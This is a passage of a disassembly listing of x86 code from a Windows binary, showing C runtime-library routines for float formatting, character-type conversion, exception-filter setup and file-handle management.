test [eax], edx jz short loc_416D83 inc ebx push ebx push [ebp+arg_0] call sub_416C80 pop ecx test eax, eax pop ecx jnz short loc_416D80 push edi push [ebp+arg_0] call sub_416CC9 pop ecx mov [ebp+var_4], eax pop ecx loc_416D80: ; CODE XREF: sub_416D1F+51j mov eax, [ebp+arg_4] loc_416D83: ; CODE XREF: sub_416D1F+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_416DA3 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_416DA3: ; CODE XREF: sub_416D1F+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416D1F endp ; =============== S U B R O U T I N E ======================================= sub_416DAB proc near ; CODE XREF: sub_416E7A+75p ; sub_416E7A+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_416DB9: ; CODE XREF: sub_416DAB+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_416DB9 pop esi retn sub_416DAB endp ; =============== S U B R O U T I N E ======================================= sub_416DC6 proc near ; CODE XREF: sub_416E7A+5Fp ; sub_416E7A+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= sub_416DD2 proc near ; CODE XREF: sub_416E7A+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_416DD8: ; CODE XREF: sub_416DD2+12j cmp dword ptr [eax], 0 jnz short loc_416DEA inc ecx add eax, 4 cmp ecx, 3 jl short loc_416DD8 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_416DEA: ; CODE XREF: sub_416DD2+9j xor eax, eax retn sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DED proc near ; CODE XREF: sub_416E7A+C0p ; sub_416E7A+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_416E23: ; CODE XREF: sub_416DED+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_416E23 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_416E55: ; CODE XREF: sub_416DED+86j cmp ebx, edi jl short loc_416E68 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_416E6F ; --------------------------------------------------------------------------- loc_416E68: ; CODE XREF: sub_416DED+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_416E6F: ; CODE XREF: sub_416DED+79j dec ebx sub ecx, 4 jns short loc_416E55 pop edi pop esi pop ebx leave retn sub_416DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E7A proc near ; CODE XREF: sub_416FE6+Dp ; sub_416FFC+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_416EE7 lea eax, [ebp+var_C] xor esi, esi push eax call sub_416DD2 test eax, eax pop ecx jnz loc_416FA6 lea eax, [ebp+var_C] push eax call sub_416DC6 pop ecx loc_416EDF: ; CODE XREF: sub_416E7A+E4j push 2 loc_416EE1: ; CODE XREF: sub_416E7A+110j pop eax jmp loc_416FA8 ; --------------------------------------------------------------------------- loc_416EE7: ; CODE XREF: sub_416E7A+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_416DAB push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_416D1F add esp, 10h test eax, eax jz short loc_416F08 inc ebx loc_416F08: ; CODE XREF: sub_416E7A+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_416F20 lea eax, [ebp+var_C] push eax call sub_416DC6 pop ecx jmp short loc_416F5C ; --------------------------------------------------------------------------- loc_416F20: ; CODE XREF: sub_416E7A+98j cmp ebx, eax jg short loc_416F63 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_416DAB lea eax, [ebp+var_C] push esi push eax call sub_416DED push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_416D1F mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_416DED add esp, 20h loc_416F5C: ; CODE XREF: sub_416E7A+A4j xor esi, esi jmp loc_416EDF ; --------------------------------------------------------------------------- loc_416F63: ; CODE XREF: sub_416E7A+A8j cmp ebx, [edi] jl short loc_416F8F lea eax, [ebp+var_C] push eax call sub_416DC6 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_416DED mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_416EE1 ; --------------------------------------------------------------------------- loc_416F8F: ; CODE XREF: sub_416E7A+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_416DED pop ecx pop ecx loc_416FA6: ; CODE XREF: sub_416E7A+55j xor eax, eax loc_416FA8: ; CODE XREF: sub_416E7A+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_416FD7 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_416FE1 ; --------------------------------------------------------------------------- loc_416FD7: ; CODE XREF: sub_416E7A+14Ej cmp edi, 20h jnz short loc_416FE1 mov ecx, [ebp+arg_4] mov [ecx], esi loc_416FE1: ; CODE XREF: sub_416E7A+15Bj ; sub_416E7A+160j pop edi pop esi pop ebx leave retn sub_416E7A endp ; =============== S U B R O U T I N E ======================================= sub_416FE6 proc near ; CODE XREF: sub_417012+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4248E0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_416E7A add esp, 0Ch retn sub_416FE6 endp ; =============== S U B R O U T I N E ======================================= sub_416FFC proc near ; CODE XREF: sub_41703F+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4248F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_416E7A add esp, 0Ch retn sub_416FFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417012 proc near ; CODE XREF: sub_413395+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4183B4 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_416FE6 add esp, 24h leave retn sub_417012 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41703F proc near ; CODE XREF: sub_413395+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4183B4 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_416FFC add esp, 24h leave retn sub_41703F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41706C proc near ; CODE XREF: sub_4133D3+65p ; sub_4134D7+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4170A9 mov [ebp+arg_0], ebx xor ebx, ebx loc_41708F: ; CODE XREF: sub_41706C+38j mov dl, [ecx] test dl, dl jz short loc_41709B movsx edx, dl inc ecx jmp short loc_41709E ; --------------------------------------------------------------------------- loc_41709B: ; CODE XREF: sub_41706C+27j push 30h pop edx loc_41709E: ; CODE XREF: sub_41706C+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41708F mov edx, [ebp+arg_8] loc_4170A9: ; CODE XREF: sub_41706C+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4170C2 cmp byte ptr [ecx], 35h jl short loc_4170C2 loc_4170B5: ; CODE XREF: sub_41706C+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4170C0 mov byte ptr [eax], 30h jmp short loc_4170B5 ; --------------------------------------------------------------------------- loc_4170C0: ; CODE XREF: sub_41706C+4Dj inc byte ptr [eax] loc_4170C2: ; CODE XREF: sub_41706C+42j ; sub_41706C+47j cmp byte ptr [esi], 31h jnz short loc_4170CC inc dword ptr [edx+4] jmp short loc_4170DE ; --------------------------------------------------------------------------- loc_4170CC: ; CODE XREF: sub_41706C+59j push edi call sub_40E730 inc eax push eax push edi push esi call sub_40F480 add esp, 10h loc_4170DE: ; CODE XREF: sub_41706C+5Ej pop edi pop esi pop ebx pop ebp retn sub_41706C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170E3 proc near ; CODE XREF: sub_4133D3+3Fp ; sub_4134D7+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_417147 pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4BA448 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_418885 mov dword_4BA470, eax add esp, 18h movsx eax, byte_4BA44A mov dword_4BA468, eax pop edi movsx eax, word_4BA448 mov dword_4BA46C, eax mov dword_4BA474, offset dword_4BA44C mov eax, offset dword_4BA468 pop esi leave retn sub_4170E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417147 proc near ; CODE XREF: sub_4170E3+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_417195 cmp ebx, edi jz short loc_41718E lea edi, [ecx+3C00h] jmp short loc_4171B6 ; --------------------------------------------------------------------------- loc_41718E: ; CODE XREF: sub_417147+3Dj mov edi, 7FFFh jmp short loc_4171B6 ; --------------------------------------------------------------------------- loc_417195: ; CODE XREF: sub_417147+39j xor ebx, ebx cmp eax, ebx jnz short loc_4171AD cmp edx, ebx jnz short loc_4171AD mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4171F8 ; --------------------------------------------------------------------------- loc_4171AD: ; CODE XREF: sub_417147+52j ; sub_417147+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4171B6: ; CODE XREF: sub_417147+45j ; sub_417147+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4171CE: ; CODE XREF: sub_417147+A6j test ecx, esi jnz short loc_4171EF mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4171CE ; --------------------------------------------------------------------------- loc_4171EF: ; CODE XREF: sub_417147+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4171F8: ; CODE XREF: sub_417147+64j pop edi pop esi pop ebx leave retn sub_417147 endp ; --------------------------------------------------------------------------- push 2 call sub_410C52 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_417206 proc near ; DATA XREF: sub_41724Co ; .packed:00424200o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_417229 cmp dword ptr [eax+10h], 3 jnz short loc_417229 cmp dword ptr [eax+14h], 19930520h jnz short loc_417229 jmp sub_413F5C ; --------------------------------------------------------------------------- loc_417229: ; CODE XREF: sub_417206+Dj ; sub_417206+13j ... mov eax, dword_4BA478 test eax, eax jz short loc_417246 push eax call sub_4172A2 test eax, eax pop ecx jz short loc_417246 push esi call dword_4BA478 jmp short loc_417248 ; --------------------------------------------------------------------------- loc_417246: ; CODE XREF: sub_417206+2Aj ; sub_417206+35j xor eax, eax loc_417248: ; CODE XREF: sub_417206+3Ej pop esi retn 4 sub_417206 endp ; =============== S U B R O U T I N E ======================================= sub_41724C proc near ; DATA XREF: .packed:0041C01Co push offset sub_417206 call dword_41A02C ; SetUnhandledExceptionFilter mov dword_4BA478, eax retn sub_41724C endp ; =============== S U B R O U T I N E ======================================= sub_41725D proc near ; DATA XREF: .packed:0041C034o push dword_4BA478 call dword_41A02C ; SetUnhandledExceptionFilter retn sub_41725D endp ; =============== S U B R O U T I N E ======================================= sub_41726A proc near ; CODE XREF: sub_4137AB+6Bp ; sub_413CBC+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_41A028 ; IsBadReadPtr test eax, eax jz short loc_417282 xor esi, esi loc_417282: ; CODE XREF: sub_41726A+14j mov eax, esi pop esi retn sub_41726A endp ; =============== S U B R O U T I N E ======================================= sub_417286 proc near ; CODE XREF: sub_413CBC+73p ; sub_413CBC+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_41A158 ; IsBadWritePtr test eax, eax jz short loc_41729E xor esi, esi loc_41729E: ; CODE XREF: sub_417286+14j mov eax, esi pop esi retn sub_417286 endp ; =============== S U B R O U T I N E ======================================= sub_4172A2 proc near ; CODE XREF: sub_413CBC+15Bp ; sub_417206+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_41A024 ; IsBadCodePtr test eax, eax jz short loc_4172B6 xor esi, esi loc_4172B6: ; CODE XREF: sub_4172A2+10j mov eax, esi pop esi retn sub_4172A2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_413F5C loc_4172BA: ; CODE XREF: sub_413F5C:loc_413FADj push 0Ah call sub_416839 push 16h call sub_418B18 pop ecx pop ecx push 3 call sub_41084A ; END OF FUNCTION CHUNK FOR sub_413F5C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172D1 proc near ; CODE XREF: sub_414309+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4172F4 cmp [ebp+arg_8], ebx jz short loc_4172F4 mov al, [esi] cmp al, bl jnz short loc_4172FA mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4172F4 mov [eax], bx loc_4172F4: ; CODE XREF: sub_4172D1+Cj ; sub_4172D1+11j ... xor eax, eax loc_4172F6: ; CODE XREF: sub_4172D1+42j ; sub_4172D1+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4172FA: ; CODE XREF: sub_4172D1+17j cmp dword_4BA314, ebx jnz short loc_417315 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_417310 movzx ax, al mov [ecx], ax loc_417310: ; CODE XREF: sub_4172D1+36j ; sub_4172D1+C0j push 1 pop eax jmp short loc_4172F6 ; --------------------------------------------------------------------------- loc_417315: ; CODE XREF: sub_4172D1+2Fj mov ecx, off_424224 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_417372 mov eax, dword_424430 cmp eax, 1 jle short loc_417359 cmp [ebp+arg_8], eax jl short loc_417363 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4BA324 call dword_41A064 ; MultiByteToWideChar test eax, eax mov eax, dword_424430 jnz short loc_4172F6 loc_417359: ; CODE XREF: sub_4172D1+5Cj cmp [ebp+arg_8], eax jb short loc_417363 cmp [esi+1], bl jnz short loc_4172F6 loc_417363: ; CODE XREF: sub_4172D1+61j ; sub_4172D1+8Bj ... mov dword_4BA284, 2Ah or eax, 0FFFFFFFFh jmp short loc_4172F6 ; --------------------------------------------------------------------------- loc_417372: ; CODE XREF: sub_4172D1+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4BA324 call dword_41A064 ; MultiByteToWideChar test eax, eax jnz loc_417310 jmp short loc_417363 sub_4172D1 endp ; =============== S U B R O U T I N E ======================================= sub_417399 proc near ; CODE XREF: sub_414309+76p ; sub_414309+88p ... arg_0 = dword ptr 4 cmp dword_424430, 1 jle short loc_4173B0 push 8 push [esp+4+arg_0] call sub_414E86 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_4173B0: ; CODE XREF: sub_417399+7j mov eax, [esp+arg_0] mov ecx, off_424224 mov al, [ecx+eax*2] and eax, 8 retn sub_417399 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4173D0 proc near ; CODE XREF: sub_414309+797p ; sub_414309+7E7p cmp cl, 40h jnb short loc_4173EA cmp cl, 20h jnb short loc_4173E0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4173E0: ; CODE XREF: sub_4173D0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4173EA: ; CODE XREF: sub_4173D0+3j xor eax, eax xor edx, edx retn sub_4173D0 endp ; =============== S U B R O U T I N E ======================================= sub_4173EF proc near ; CODE XREF: sub_414D7F+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41743B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41740D test al, 80h jz short loc_41743B test al, 2 jnz short loc_41743B loc_41740D: ; CODE XREF: sub_4173EF+14j cmp dword ptr [esi+8], 0 jnz short loc_41741A push esi call sub_41698C pop ecx loc_41741A: ; CODE XREF: sub_4173EF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41742A cmp dword ptr [esi+4], 0 jnz short loc_41743B inc eax mov [esi], eax loc_41742A: ; CODE XREF: sub_4173EF+30j test byte ptr [esi+0Ch], 40h jz short loc_417441 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_417447 inc eax mov [esi], eax loc_41743B: ; CODE XREF: sub_4173EF+9j ; sub_4173EF+18j ... or eax, 0FFFFFFFFh loc_41743E: ; CODE XREF: sub_4173EF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_417441: ; CODE XREF: sub_4173EF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_417447: ; CODE XREF: sub_4173EF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41743E sub_4173EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41745D proc near ; CODE XREF: sub_414E86+5Ep ; sub_415EDF+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A810 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4BA47C xor ebx, ebx cmp eax, ebx jnz short loc_4174CC lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_41A500 push esi call dword_41A01C ; GetStringTypeW test eax, eax jz short loc_4174AA mov eax, esi jmp short loc_4174C7 ; --------------------------------------------------------------------------- loc_4174AA: ; CODE XREF: sub_41745D+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_424F04 push esi push ebx call dword_41A020 ; GetStringTypeA test eax, eax jz loc_417592 push 2 pop eax loc_4174C7: ; CODE XREF: sub_41745D+4Bj mov dword_4BA47C, eax loc_4174CC: ; CODE XREF: sub_41745D+2Fj cmp eax, 2 jnz short loc_4174F5 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_4174DD mov eax, dword_4BA314 loc_4174DD: ; CODE XREF: sub_41745D+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_41A020 ; GetStringTypeA jmp loc_417594 ; --------------------------------------------------------------------------- loc_4174F5: ; CODE XREF: sub_41745D+72j cmp eax, 1 jnz loc_417592 cmp [ebp+arg_10], ebx jnz short loc_41750B mov eax, dword_4BA324 mov [ebp+arg_10], eax loc_41750B: ; CODE XREF: sub_41745D+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_41A064 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_417592 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_40EC80 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_40E800 add esp, 0Ch jmp short loc_417561 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_417561: ; CODE XREF: sub_41745D+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_417592 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_41A064 ; MultiByteToWideChar cmp eax, ebx jz short loc_417592 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_41A01C ; GetStringTypeW jmp short loc_417594 ; --------------------------------------------------------------------------- loc_417592: ; CODE XREF: sub_41745D+61j ; sub_41745D+9Bj ... xor eax, eax loc_417594: ; CODE XREF: sub_41745D+93j ; sub_41745D+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41745D endp ; =============== S U B R O U T I N E ======================================= sub_4175A6 proc near ; CODE XREF: sub_414EFB+8Ep ; sub_4151BF+BDp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4BA288, ecx mov eax, offset dword_424910 loc_4175B7: ; CODE XREF: sub_4175A6+1Ej cmp ecx, [eax] jz short loc_4175DB add eax, 8 inc edx cmp eax, offset dword_424A78 jl short loc_4175B7 cmp ecx, 13h jb short loc_4175E8 cmp ecx, 24h ja short loc_4175E8 mov dword_4BA284, 0Dh retn ; --------------------------------------------------------------------------- loc_4175DB: ; CODE XREF: sub_4175A6+13j mov eax, dword_424914[edx*8] mov dword_4BA284, eax retn ; --------------------------------------------------------------------------- loc_4175E8: ; CODE XREF: sub_4175A6+23j ; sub_4175A6+28j cmp ecx, 0BCh jb short loc_417602 cmp ecx, 0CAh mov dword_4BA284, 8 jbe short locret_41760C loc_417602: ; CODE XREF: sub_4175A6+48j mov dword_4BA284, 16h locret_41760C: ; CODE XREF: sub_4175A6+5Aj retn sub_4175A6 endp ; =============== S U B R O U T I N E ======================================= sub_41760D proc near ; CODE XREF: sub_417827:loc_41799Fp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4BB7C0 loc_41761C: ; CODE XREF: sub_41760D+48j mov eax, [ecx] test eax, eax jz short loc_417659 lea edx, [eax+100h] loc_417628: ; CODE XREF: sub_41760D+28j cmp eax, edx jnb short loc_417648 test byte ptr [eax+4], 1 jz short loc_417637 add eax, 8 jmp short loc_417628 ; --------------------------------------------------------------------------- loc_417637: ; CODE XREF: sub_41760D+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41769C loc_417648: ; CODE XREF: sub_41760D+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4BB8C0 jl short loc_41761C jmp short loc_41769C ; --------------------------------------------------------------------------- loc_417659: ; CODE XREF: sub_41760D+13j mov esi, 100h push esi call sub_40E882 test eax, eax pop ecx jz short loc_41769C add dword_4BB8C0, 20h lea ecx, ds:4BB7C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41767F: ; CODE XREF: sub_41760D+88j cmp eax, edx jnb short loc_417697 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41767F ; --------------------------------------------------------------------------- loc_417697: ; CODE XREF: sub_41760D+74j shl edi, 5 mov ebx, edi loc_41769C: ; CODE XREF: sub_41760D+39j ; sub_41760D+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41760D endp ; =============== S U B R O U T I N E ======================================= sub_4176A2 proc near ; CODE XREF: sub_417827+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4BB8C0 push edi jnb short loc_417702 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4BB7C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_417702 cmp dword_422094, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_4176F8 sub eax, 0 jz short loc_4176EF dec eax jz short loc_4176EA dec eax jnz short loc_4176F8 push ebx push 0FFFFFFF4h jmp short loc_4176F2 ; --------------------------------------------------------------------------- loc_4176EA: ; CODE XREF: sub_4176A2+3Ej push ebx push 0FFFFFFF5h jmp short loc_4176F2 ; --------------------------------------------------------------------------- loc_4176EF: ; CODE XREF: sub_4176A2+3Bj push ebx push 0FFFFFFF6h loc_4176F2: ; CODE XREF: sub_4176A2+46j ; sub_4176A2+4Bj call dword_41A018 ; SetStdHandle loc_4176F8: ; CODE XREF: sub_4176A2+36j ; sub_4176A2+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_417716 ; --------------------------------------------------------------------------- loc_417702: ; CODE XREF: sub_4176A2+Cj ; sub_4176A2+28j and dword_4BA288, 0 mov dword_4BA284, 9 or eax, 0FFFFFFFFh loc_417716: ; CODE XREF: sub_4176A2+5Ej pop edi pop esi retn sub_4176A2 endp ; =============== S U B R O U T I N E ======================================= sub_417719 proc near ; CODE XREF: sub_414EFB+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4BB8C0 push edi jnb short loc_41777C mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4BB7C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41777C cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41777C cmp dword_422094, 1 jnz short loc_417772 xor eax, eax sub ecx, eax jz short loc_417769 dec ecx jz short loc_417764 dec ecx jnz short loc_417772 push eax push 0FFFFFFF4h jmp short loc_41776C ; --------------------------------------------------------------------------- loc_417764: ; CODE XREF: sub_417719+41j push eax push 0FFFFFFF5h jmp short loc_41776C ; --------------------------------------------------------------------------- loc_417769: ; CODE XREF: sub_417719+3Ej push eax push 0FFFFFFF6h loc_41776C: ; CODE XREF: sub_417719+49j ; sub_417719+4Ej call dword_41A018 ; SetStdHandle loc_417772: ; CODE XREF: 